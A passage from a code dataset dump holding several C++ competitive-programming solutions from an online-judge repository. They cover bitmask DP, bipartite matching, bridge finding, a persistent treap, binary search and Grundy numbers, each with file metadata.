B*=B; C*=C;\r\n\r\n AA = a*A*(b+B+c+C-a-A)+b*B*(a+A-b-B+c+C)+c*C*(a+A+b+B-c-C)-A*B*C-a*b*C-a*B*c-A*b*c;\r\n\r\n vol=(sqrt(AA))/4.0;\r\n r=vol/At;\r\n printf(\"%.4f\\n\",r);\r\n }\r\nreturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.28636661171913147, "alphanum_fraction": 0.31441617012023926, "avg_line_length": 19.29166603088379, "blob_id": "bb7d853cf5d7f767caf2e2b9269a49c087d65739", "content_id": "3675122871e2e1b2a37f3bde6c939b7e1f12e1d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1533, "license_type": "no_license", "max_line_length": 66, "num_lines": 72, "path": "/COJ/eliogovea-cojAC/eliogovea-p3350-Accepted-s827129.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int inf = 1 << 29;\r\n\r\nconst int N = 16;\r\n\r\nint n;\r\nint l[N], ph[N];\r\n\r\nint len[N][1 << N];\r\nint fre[N][1 << N];\r\n\r\nvoid mini(int &a, int b) {\r\n\tif (b < a) {\r\n\t\ta = b;\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> l[i] >> ph[i];\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfor (int j = 0; j < (1 << n); j++) {\r\n\t\t\tlen[i][j] = inf;\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tlen[i][1 << i] = l[i];\r\n\t\tfre[i][1 << i] = l[i] - 1;\r\n\t}\r\n\tfor (int i = 1; i < (1 << n); i++) {\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\tif (i & (1 << j)) {\r\n\t\t\t\tfor (int k = 0; k < n; k++) {\r\n\t\t\t\t\tif (!(i & (1 << k))) {\r\n\t\t\t\t\t\tif (abs(ph[j] - ph[k]) >= 3) {\r\n\t\t\t\t\t\t\tif (len[j][i] + l[k] < len[k][i | (1 << k)]) {\r\n\t\t\t\t\t\t\t\tlen[k][i | (1 << k)] = len[j][i] + l[k];\r\n\t\t\t\t\t\t\t\tfre[k][i | (1 << k)] = l[k] - 1;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\tif (fre[j][i] >= l[k] - 1) {\r\n\t\t\t\t\t\t\t\tif (len[j][i] + 1 < len[k][i | (1 << k)]) {\r\n\t\t\t\t\t\t\t\t\tlen[k][i | (1 << k)] = len[j][i] + 1;\r\n\t\t\t\t\t\t\t\t\tfre[k][i | (1 << k)] = 0;\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\tif (len[j][i] + l[k] - fre[j][i] < len[k][i | (1 << k)]) {\r\n\t\t\t\t\t\t\t\t\tlen[k][i | (1 << k)] = len[j][i] + l[k] - fre[j][i];\r\n\t\t\t\t\t\t\t\t\tfre[k][i | (1 << k)] = l[k] - fre[j][i] - 1;\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tint ans = inf;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (len[i][(1 << n) - 1] < ans) {\r\n\t\t\tans = len[i][(1 << n) - 1];\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3954451382160187, "alphanum_fraction": 0.4202898442745209, "avg_line_length": 15.405405044555664, "blob_id": "2480b709bd37f35ea20f95dfa2531f291e3d630f", "content_id": "68823611e750182c0dda546964665c19df9d6112", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1932, "license_type": "no_license", "max_line_length": 55, "num_lines": 111, "path": "/COJ/eliogovea-cojAC/eliogovea-p3207-Accepted-s888827.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100005;\r\n\r\nconst long double EPS = 1e-7;\r\n\r\nint n;\r\ndouble x[N], y[N];\r\n\r\nstruct item {\r\n\tint id;\r\n\tlong double r1, r2;\r\n};\r\n\r\nbool cmp_r1(item a, item b) {\r\n\treturn a.r1 < a.r2;\r\n}\r\n\r\nbool cmp_r2(item a, item b) {\r\n\treturn a.r2 < b.r2;\r\n}\r\n\r\nitem a[N];\r\n\r\nset <pair <int, int> > edges;\r\n\r\nint ID1[N], ID2[N];\r\n\r\nvector <int> g[N];\r\nint L, R;\r\nint match[N];\r\nint used[N];\r\nint ttt;\r\n\r\nbool dfs(int u) {\r\n\tif (used[u] == ttt) {\r\n return false;\r\n\t}\r\n\tused[u] = ttt;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i];\r\n\t\tif (match[v] == -1 || dfs(match[v])) {\r\n\t\t\tmatch[v] = u;\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nint p[2][N];\r\n\r\nint find(int id, int x) {\r\n\tif (p[id][x] != x) {\r\n\t\tp[id][x] = find(id, p[id][x]);\r\n\t}\r\n\treturn p[id][x];\r\n}\r\n\r\nbool join(int id, int x, int y) {\r\n\tx = find(id, x);\r\n\ty = find(id, y);\r\n\tif (rand() & 1) {\r\n\t\tp[id][x] = y;\r\n\t} else {\r\n\t\tp[id][y] = x;\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tp[0][i] = p[1][i] = i;\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> x[i] >> y[i];\r\n\t\ta[i].id = i;\r\n\t\ta[i].r1 = (x[i] * x[i] + y[i] * y[i]) / (2.0 * x[i]);\r\n\t\ta[i].r2 = (x[i] * x[i] + y[i] * y[i]) / (2.0 * y[i]);\r\n\t\tfor (int j = 0; j < i; j++) {\r\n\t\t\tif (fabs(a[j].r1 - a[i].r1) < EPS) {\r\n\t\t\t\tjoin(0, i, j);\r\n\t\t\t}\r\n\t\t\tif (fabs(a[j].r2 - a[i].r2) < EPS) {\r\n\t\t\t\tjoin(1, i, j);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint x = find(0, i);\r\n\t\tint y = find(1, i);\r\n\t\t//cout << i << \" \" << x << \" \" << y << \"\\n\";\r\n\t\tif (edges.find(make_pair(x, y)) == edges.end()) {\r\n\t\t\tedges.insert(make_pair(x, y));\r\n\t\t\tg[x].push_back(y);\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n match[i] = -1;\r\n\t}\r\n\tint ans = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n if (find(0, i) != i) continue;\r\n\t\tttt++;\r\n\t\tif (dfs(i)) ans++;\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.40534207224845886, "alphanum_fraction": 0.42830365896224976, "avg_line_length": 18.519229888916016, "blob_id": "261c9720a295e99e0bd2a26084e07d19681170b8", "content_id": "29657faaa330ccb0b6734438f16878fde144739a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4268, "license_type": "no_license", "max_line_length": 90, "num_lines": 208, "path": "/COJ/eliogovea-cojAC/eliogovea-p3706-Accepted-s1009519.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 30005;\r\nconst int C = 10005;\r\n\r\nint n, c;\r\nvector <int> a[C];\r\nvector <int> id[N];\r\nvector <int> graph[C];\r\nmap <pair <int, int>, int> edges;\r\nint degree[C];\r\nint visited[C];\r\nint seen[C];\r\nint timer;\r\n\r\nvoid dfs(int u) {\r\n\tvisited[u] = 1;\r\n\tfor (int i = 0; i < graph[u].size(); i++) {\r\n\t\tint v = graph[u][i];\r\n\t\tif (visited[v] == -1) {\r\n\t\t\tdfs(v);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvector <int> bridges;\r\n\r\nvoid findBridges(int root, int u, int p) {\r\n\tif (visited[u] != -1) {\r\n\t\treturn;\r\n\t}\r\n\tvisited[u] = seen[u] = timer++;\r\n\tfor (int i = 0; i < graph[u].size(); i++) {\r\n\t\tint v = graph[u][i];\r\n\t\tif (v == p) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tif (visited[v] == -1) {\r\n\t\t\tfindBridges(root, v, u);\r\n\t\t\tseen[u] = min(seen[u], seen[v]);\r\n\t\t\tif (u == root && seen[v] > visited[u]) {\r\n\t\t\t\tbridges.push_back(v);\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tseen[u] = min(seen[u], visited[v]);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\twhile (cin >> n >> c) {\r\n\t\tfor (int i = 0; i < c; i++) {\r\n\t\t\ta[i].clear();\r\n\t\t\tdegree[i] = 0;\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tid[i].clear();\r\n\t\t}\r\n\t\tfor (int i = 0; i < c; i++) {\r\n\t\t\tint cnt;\r\n\t\t\tcin >> cnt;\r\n\t\t\twhile (cnt--) {\r\n\t\t\t\tint x;\r\n\t\t\t\tcin >> x;\r\n\t\t\t\ta[i].push_back(x);\r\n\t\t\t\tid[x].push_back(i);\r\n\t\t\t}\r\n\t\t\tsort(a[i].begin(), a[i].end());\r\n\t\t}\r\n\t\tedges.clear();\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tif ((int)id[i].size() == 2) {\r\n\t\t\t\tdegree[id[i][0]]++;\r\n\t\t\t\tdegree[id[i][1]]++;\r\n\t\t\t\tedges[make_pair(id[i][0], id[i][1])]++;\r\n\t\t\t\tedges[make_pair(id[i][1], id[i][0])]++;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 0; i < c; i++) {\r\n graph[i].clear();\r\n\t\t}\r\n\t\tfor (map <pair <int, int>, int>::iterator it = edges.begin(); it != edges.end(); it++) {\r\n\t\t\tint u = it->first.first;\r\n\t\t\tint v = it->first.second;\r\n\t\t\tgraph[u].push_back(v);\r\n\t\t}\r\n\t\tint start = 0;\r\n\t\twhile ((int)a[start].size() == 0) {\r\n\t\t\tstart++;\r\n\t\t}\r\n\t\tassert(start < c);\r\n\t\tfor (int i = 0; i < c; i++) {\r\n\t\t\tvisited[i] = -1;\r\n\t\t}\r\n\t\tdfs(start);\r\n\t\tbool ok = true;\r\n\t\tfor (int i = 0; i < c; i++) {\r\n\t\t\tif ((int)a[i].size() != 0 && visited[i] == -1) {\r\n\t\t\t\tok = false;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (!ok) {\r\n\t\t\tcout << \"-1\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tint odd = 0;\r\n\t\tint x1 = -1;\r\n\t\tint x2 = -1;\r\n\t\tfor (int i = 0; i < c; i++) {\r\n\t\t\tif (degree[i] & 1) {\r\n\t\t\t\todd++;\r\n\t\t\t\tif (odd > 2) {\r\n\t\t\t\t\tok = false;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\tif (x1 == -1) {\r\n\t\t\t\t\tx1 = i;\r\n\t\t\t\t} else {\r\n\t\t\t\t\tx2 = i;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (!ok) {\r\n\t\t\tcout << \"-1\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tif (odd == 0) {\r\n\t\t\tcout << \"0\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tint ans = n;\r\n\t\tif ((int)a[x1].size() == 1) {\r\n\t\t\tassert(degree[x1] == 1);\r\n\t\t\tans = min(ans, a[x1][0]);\r\n\t\t} else {\r\n\t\t\tfor (int i = 0; i < c; i++) {\r\n\t\t\t\tvisited[i] = -1;\r\n\t\t\t\tseen[i] = -1;\r\n\t\t\t}\r\n\t\t\ttimer = 0;\r\n\t\t\tbridges.clear();\r\n\t\t\tfindBridges(x1, x1, -1);\r\n\t\t\tsort(bridges.begin(), bridges.end());\r\n\t\t\tfor (int i = 0; i < a[x1].size(); i++) {\r\n\t\t\t\tint x = a[x1][i];\r\n\t\t\t\tif (id[x].size() == 1) {\r\n\t\t\t\t\tans = min(ans, x);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\tint next = id[x][0];\r\n\t\t\t\tif (next == x1) {\r\n\t\t\t\t\tnext = id[x][1];\r\n\t\t\t\t}\r\n\t\t\t\tint pos = lower_bound(bridges.begin(), bridges.end(), next) - bridges.begin();\r\n\t\t\t\tif (pos == (int)bridges.size() || bridges[pos] != next) {\r\n\t\t\t\t\tans = min(ans, x);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\tif (edges[make_pair(x1, next)] > 1) {\r\n\t\t\t\t\tans = min(ans, x);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tif ((int)a[x2].size() == 1) {\r\n\t\t\tassert(degree[x2] == 1);\r\n\t\t\tans = min(ans, a[x2][0]);\r\n\t\t} else {\r\n\t\t\tfor (int i = 0; i < c; i++) {\r\n\t\t\t\tvisited[i] = -1;\r\n\t\t\t\tseen[i] = -1;\r\n\t\t\t}\r\n\t\t\ttimer = 0;\r\n\t\t\tbridges.clear();\r\n\t\t\tfindBridges(x2, x2, -1);\r\n\t\t\tsort(bridges.begin(), bridges.end());\r\n\t\t\tfor (int i = 0; i < (int)a[x2].size(); i++) {\r\n\t\t\t\tint x = a[x2][i];\r\n\t\t\t\tif ((int)id[x].size() == 1) {\r\n\t\t\t\t\tans = min(ans, x);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\tint next = id[x][0];\r\n\t\t\t\tif (next == x2) {\r\n\t\t\t\t\tnext = id[x][1];\r\n\t\t\t\t}\r\n\t\t\t\tint pos = lower_bound(bridges.begin(), bridges.end(), next) - bridges.begin();\r\n\t\t\t\tif (pos == (int)bridges.size() || bridges[pos] != next) {\r\n\t\t\t\t\tans = min(ans, x);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\tif (edges[make_pair(x2, next)] > 1) {\r\n\t\t\t\t\tans = min(ans, x);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (ans == n) {\r\n\t\t\tans = -1;\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.40196600556373596, "alphanum_fraction": 0.4269394278526306, "avg_line_length": 19.50857162475586, "blob_id": "82fd60c376e3b5cf817ff67024ba59143acee9b7", "content_id": "7bfc8e6d79629e512ebe1fabc30bd8e4d642fe34", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3764, "license_type": "no_license", "max_line_length": 80, "num_lines": 175, "path": "/Caribbean-Training-Camp-2017/Contest_2/Solutions/G2-1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst int MAX_CNTNODES = 11000000;\r\nint size[MAX_CNTNODES], value[MAX_CNTNODES], ls[MAX_CNTNODES], rs[MAX_CNTNODES];\r\n\r\nint SIZE( int t ){\r\n return size[t];\r\n}\r\nvoid update( int t ){\r\n if( !t ) return;\r\n size[t] = size[ ls[t] ] + 1 + size[ rs[t] ];\r\n}\r\nint CNT_NODE = 0;\r\nint newnode( int v ){\r\n int t = ++CNT_NODE;\r\n value[t] = v;\r\n size[t] = 1;\r\n return t;\r\n}\r\nint copynode( int t ){\r\n if( !t ) return 0;\r\n int ct = newnode( value[t] );\r\n ls[ct] = ls[t];\r\n rs[ct] = rs[t];\r\n size[ct] = size[t];\r\n return ct;\r\n}\r\nconst int elio = 2000000000;\r\ninline int randint( int r = elio ){\r\n static unsigned int seed = 239017u;\r\n seed = seed * 1664525u + 1013904223u;\r\n return seed % r;\r\n}\r\nbool hey( int A, int B ) {\r\n return (ll)(randint()) * (ll)(SIZE(A) + SIZE(B)) < (ll)SIZE(A) * (ll)elio;\r\n}\r\nvoid split( int t, int key, int &L, int &R, bool copie = true ){\r\n if( !t ){\r\n L = R = 0;\r\n return;\r\n }\r\n if( size[ls[t]] + 1 <= key ){\r\n L = copie ? copynode(t) : t;\r\n split( rs[L] , key - (SIZE(ls[t]) + 1) , rs[L] , R , copie );\r\n update(L);\r\n }\r\n else{\r\n R = copie ? copynode(t) : t;\r\n split( ls[R] , key , L , ls[R] , copie );\r\n update(R);\r\n }\r\n}\r\nint merge( int L, int R, bool copie = true ){\r\n int t = NULL;\r\n if( !L || !R ){\r\n if( copie ){\r\n t = !L ? copynode(R) : copynode(L);\r\n }\r\n else{\r\n t = !L ? R : L;\r\n }\r\n return t;\r\n }\r\n if( hey( L , R ) ){\r\n t = copie ? copynode(L) : L;\r\n rs[t] = merge( rs[t] , R , copie );\r\n }\r\n else{\r\n t = copie ? copynode(R) : R;\r\n ls[t] = merge( L , ls[t] , copie );\r\n }\r\n update(t);\r\n return t;\r\n}\r\nvoid build_treap( int &t, int l, int r, int *vs ){\r\n if( l == r ){\r\n t = newnode(vs[l]);\r\n return;\r\n }\r\n int mid = ( l + r ) >> 1;\r\n t = newnode(vs[mid]);\r\n\r\n if( mid > l ){\r\n build_treap( ls[t] , l , mid-1 , vs );\r\n }\r\n if( mid < r ){\r\n build_treap( rs[t] , mid+1 , r , vs );\r\n }\r\n update(t);\r\n}\r\n\r\nint n;\r\nint *vs;\r\nint pos = 0;\r\nvoid copy_treap( int t ){\r\n if( !t ) return;\r\n copy_treap( ls[t] );\r\n vs[++pos] = value[t];\r\n copy_treap( rs[t] );\r\n}\r\nvoid print_treap( int t, int pos ){\r\n if( !t ){\r\n return;\r\n }\r\n print_treap( ls[t] , pos );\r\n pos += SIZE(ls[t]) + 1;\r\n cout << value[t] << \" \\n\"[pos==n];\r\n print_treap( rs[t] , pos );\r\n}\r\nint *cnt;\r\nint *from;\r\nint *to;\r\nint m;\r\nint check_memory( int root ){\r\n if( CNT_NODE >= 10000000 ){\r\n pos = 0;\r\n copy_treap( root );\r\n CNT_NODE = 0;\r\n root = 0;\r\n build_treap( root , 1 , n , vs );\r\n }\r\n return root;\r\n}\r\n\r\nint main(){\r\n ios::sync_with_stdio(0);\r\n cin.tie(0);\r\n\r\n //freopen(\"dat.txt\",\"r\",stdin);\r\n\r\n cin >> n >> m;\r\n\r\n vs = new int[n+1];\r\n\r\n for( int i = 1; i <= n; i++ ){\r\n vs[i] = i;\r\n }\r\n\r\n int root;\r\n build_treap( root , 1 , n , vs );\r\n\r\n cnt = new int[m];\r\n from = new int[m];\r\n to = new int[m];\r\n\r\n for( int i = 0; i < m; i++ ){\r\n cin >> cnt[i] >> from[i] >> to[i];\r\n }\r\n\r\n for( int i = m-1; i >= 0; i-- ){\r\n root = check_memory(root);\r\n\r\n int l, r, l2, r2, clone;\r\n\r\n split( root , to[i]+cnt[i]-1 , l , r );\r\n split( l , to[i]-1 , l2 , r2 );\r\n\r\n clone = r2;\r\n\r\n int l3 , r3 , l4 , r4;\r\n\r\n split( root , from[i]+cnt[i]-1 , l3 , r3 );\r\n split( l3 , from[i]-1 , l4 , r4 );\r\n\r\n root = merge( merge( l4 , clone ) , r3 );\r\n }\r\n\r\n print_treap( root , 0 );\r\n\r\n //cerr << sizeof(node*) << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.25783970952033997, "alphanum_fraction": 0.2876500189304352, "avg_line_length": 18.56818199157715, "blob_id": "79be4fc204d68c660c22fc20c3b4cfdca7fe3e25", "content_id": "865f681b5b683518e37a1af27c37f2469d793f97", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2583, "license_type": "no_license", "max_line_length": 71, "num_lines": 132, "path": "/Codeforces-Gym/101572 - 2017-2018 ACM-ICPC Nordic Collegiate Programming Contest (NCPC 2017)/K.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017-2018 ACM-ICPC Nordic Collegiate Programming Contest (NCPC 2017)\n// 101572K\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nconst int T = 100 * 1000 + 10;\n\nint b, n, e;\nLL sb, sn, se;\nint t;\nLL c[T];\nLL cc[T];\n\ninline bool check(LL s) {\n for (int i = 0; i < t; i++) {\n cc[i] = (s + c[i] - 1LL) / c[i];\n }\n\n int ce = 0;\n int cn = 0;\n int cb = 0;\n\n for (int i = 0; i < t; i++) {\n int ue;\n int un;\n int ub;\n int sum = -1;\n\n if (ce + 2 <= e && cc[i] <= se + se) {\n if (sum == -1 || se + se < sum) {\n ue = 2;\n un = 0;\n ub = 0;\n sum = se + se;\n }\n }\n\n if (ce + 1 <= e && cn + 1 <= n && cc[i] <= se + sn) {\n if (sum == -1 || se + sn < sum) {\n ue = 1;\n un = 1;\n ub = 0;\n sum = se + sn;\n }\n }\n\n if (ce + 1 <= e && cb + 1 <= b && cc[i] <= se + sb) {\n if (sum == -1 || se + sb < sum) {\n ue = 1;\n un = 0;\n ub = 1;\n sum = se + sb;\n }\n }\n\n if (cn + 2 <= n && cc[i] <= sn + sn) {\n if (sum == -1 || sn + sn < sum) {\n ue = 0;\n un = 2;\n ub = 0;\n sum = sn + sn;\n }\n }\n\n if (cn + 1 <= n && cb + 1 <= b && cc[i] <= sn + sb) {\n if (sum == -1 || sn + sb < sum) {\n ue = 0;\n un = 1;\n ub = 1;\n sum = sn + sb;\n }\n }\n\n if (cb + 2 <= b && cc[i] <= sb + sb) {\n if (sum == -1 || sb + sb < sum) {\n ue = 0;\n un = 0;\n ub = 2;\n sum = sb + sb;\n }\n }\n\n if (sum == -1) {\n return false;\n }\n\n ce += ue;\n cn += un;\n cb += ub;\n }\n return true;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen(\"dat.txt\",\"r\",stdin);\n\n cin >> b >> n >> e >> sb >> sn >> se;\n\n t = (b + n + e) / 2;\n for (int i = 0; i < t; i++) {\n cin >> c[i];\n }\n\n LL lo = 1;\n assert(check(lo));\n\n LL hi = lo;\n while (check(hi)) {\n hi *= 2;\n }\n\n LL ans = lo;\n\n while (lo <= hi) {\n LL mid = (lo + hi) / 2LL;\n if (check(mid)) {\n ans = mid;\n lo = mid + 1;\n } else {\n hi = mid - 1;\n }\n }\n\n cout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.41196388006210327, "alphanum_fraction": 0.42663657665252686, "avg_line_length": 14.109090805053711, "blob_id": "35f567c5dbdd3c8a399ac6488cf4a62d7d180132", "content_id": "afdf4b12df6617a732d65ff3a738c7f141b7c264", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 886, "license_type": "no_license", "max_line_length": 47, "num_lines": 55, "path": "/COJ/eliogovea-cojAC/eliogovea-p3379-Accepted-s848541.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <queue>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 200005;\r\n\r\nint n;\r\nchar a[N], b[N];\r\nint Q[N], qh, qt;\r\n\r\nint first[N];\r\n\r\nint bit[N];\r\n\r\nvoid update(int p) {\r\n while (p <= n) {\r\n bit[p]++;\r\n p += p & -p;\r\n }\r\n}\r\n\r\nint query(int p) {\r\n int res = 0;\r\n while (p > 0) {res += bit[p]; p -= p & -p;}\r\n return res;\r\n}\r\n\r\nint ans[N];\r\n\r\nint main() {\r\n\tscanf(\"%d%s%s\", &n, a, b);\r\n\tint posa = 0;\r\n\tint posb = 0;\r\n\tint cola = 0;\r\n\twhile (posb < n) {\r\n\t\twhile (qh != qt && a[Q[qh]] == b[posb]) {\r\n\t\t\tans[Q[qh]] = query(n) - query(Q[qh]);\r\n\t\t\tupdate(Q[qh] + 1);\r\n\t\t\tqh++;\r\n\t\t\tposb++;\r\n\t\t\tcola++;\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tif (posa < n && a[posa] == b[posb]) {\r\n\t\t\tposa++; posb++;\r\n\t\t\tupdate(posa);\r\n\t\t} else if (posa < n && a[posa] != b[posb]){\r\n\t\t\tQ[qt++] = posa++;\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tprintf(\"%d\\n\", ans[i]);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.43906131386756897, "alphanum_fraction": 0.4617713987827301, "avg_line_length": 17.426469802856445, "blob_id": "b9df988727ea6587ac1dc5dd34dd1e2f678e9c85", "content_id": "3673735e825baebd3106c0c580c70ab54edaf888", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1321, "license_type": "no_license", "max_line_length": 98, "num_lines": 68, "path": "/COJ/eliogovea-cojAC/eliogovea-p2860-Accepted-s1054753.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ninline int getGrundy(int n) {\r\n\tif (n == 0) {\r\n\t\treturn 0;\r\n\t}\r\n\tint x = 1;\r\n\tint res = 1;\r\n\twhile (2 * x <= n) {\r\n\t\tres++;\r\n\t\tx *= 2;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint solveSlow(int n) {\r\n\tif (n & 1) {\r\n\t\treturn 1;\r\n\t}\r\n\tint xorSum = 1 ^ getGrundy(n);\r\n\tint result = -1;\r\n\tfor (int i = 2; i <= n; i++) {\r\n\t\tfor (int j = (i + 1) / 2; j <= i; j++) {\r\n\t\t\tif ((xorSum ^ getGrundy(i) ^ getGrundy(i - j)) == 0) {\r\n\t\t\t\tif (result == -1 || j < result) {\r\n result = j;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn result;\r\n}\r\n\r\nint solveFast(int n) {\r\n\tif (n & 1) {\r\n\t\treturn 1;\r\n\t}\r\n\tint gn = getGrundy(n);\r\n\tint xorSum = 1 ^ gn;\r\n\tint result = -1;\r\n\tfor (int gx = 2; gx <= gn; gx++) {\r\n\t\tint gy = xorSum ^ gx;\r\n\t\tif (gy < gx) {\r\n\t\t\tlong long x = (1LL << (long long)gx) >> 1LL; // menor numero con grundy = gx\r\n\t\t\tlong long minY = (1LL << (long long)gy) >> 1LL;\r\n\t\t\tlong long maxY = min(x >> 1LL, max(0LL, (minY << 1LL) - 1LL)); // mayor numero que puede ser y\r\n\t\t\tif (minY <= maxY) {\r\n long long diff = x - maxY;\r\n\t\t\t\tif (result == -1LL || diff < result) {\r\n\t\t\t\t\tresult = diff;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn result;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tint n;\r\n\twhile (cin >> n) {\r\n cout << solveFast(n) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3955223858356476, "alphanum_fraction": 0.43843284249305725, "avg_line_length": 17.925926208496094, "blob_id": "f9b5a2c0016b739e638c1eecc2bfd338534d61b2", "content_id": "acb14303250c9dd886390b99735a42286d79435e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 536, "license_type": "no_license", "max_line_length": 62, "num_lines": 27, "path": "/COJ/eliogovea-cojAC/eliogovea-p2736-Accepted-s587689.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <iostream>\r\nusing namespace std;\r\n\r\nchar str[1000010];\r\n\r\nint main()\r\n{\r\n\tscanf(\"%s\", str);\r\n\tprintf(\"%s\\n\", str);\r\n\tint n = 0;\r\n\tfor (int i = 0; str[i]; i++)\r\n\t\tif (str[i] == '1') n++;\r\n\tif (n > 1)\r\n\t\twhile (true)\r\n\t\t{\r\n\t\t\tint bits = 0;\r\n\t\t\tint a[100], last = 0;\r\n\t\t\tfor (int i = 0; (1 << i) <= n; i++)\r\n\t\t\t\tif (n & (1 << i)) {a[i] = 1; last = max(last, i); bits++;}\r\n\t\t\t\telse a[i] = 0;\r\n\t\t\tfor (int i = last; i >= 0; i--) printf(\"%d\", a[i]);\r\n\t\t\tprintf(\"\\n\");\r\n\t\t\tif (bits == 1)break;\r\n\t\t\tn = bits;\r\n\t\t}\r\n}" }, { "alpha_fraction": 0.42375168204307556, "alphanum_fraction": 0.44669365882873535, "avg_line_length": 12.819999694824219, "blob_id": "3879300af3eca28ed83de595bcfa956bf0e9ee3b", "content_id": "223fe5b5d98c11c210e34ebcee32f9732e744416", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 741, "license_type": "no_license", "max_line_length": 37, "num_lines": 50, "path": 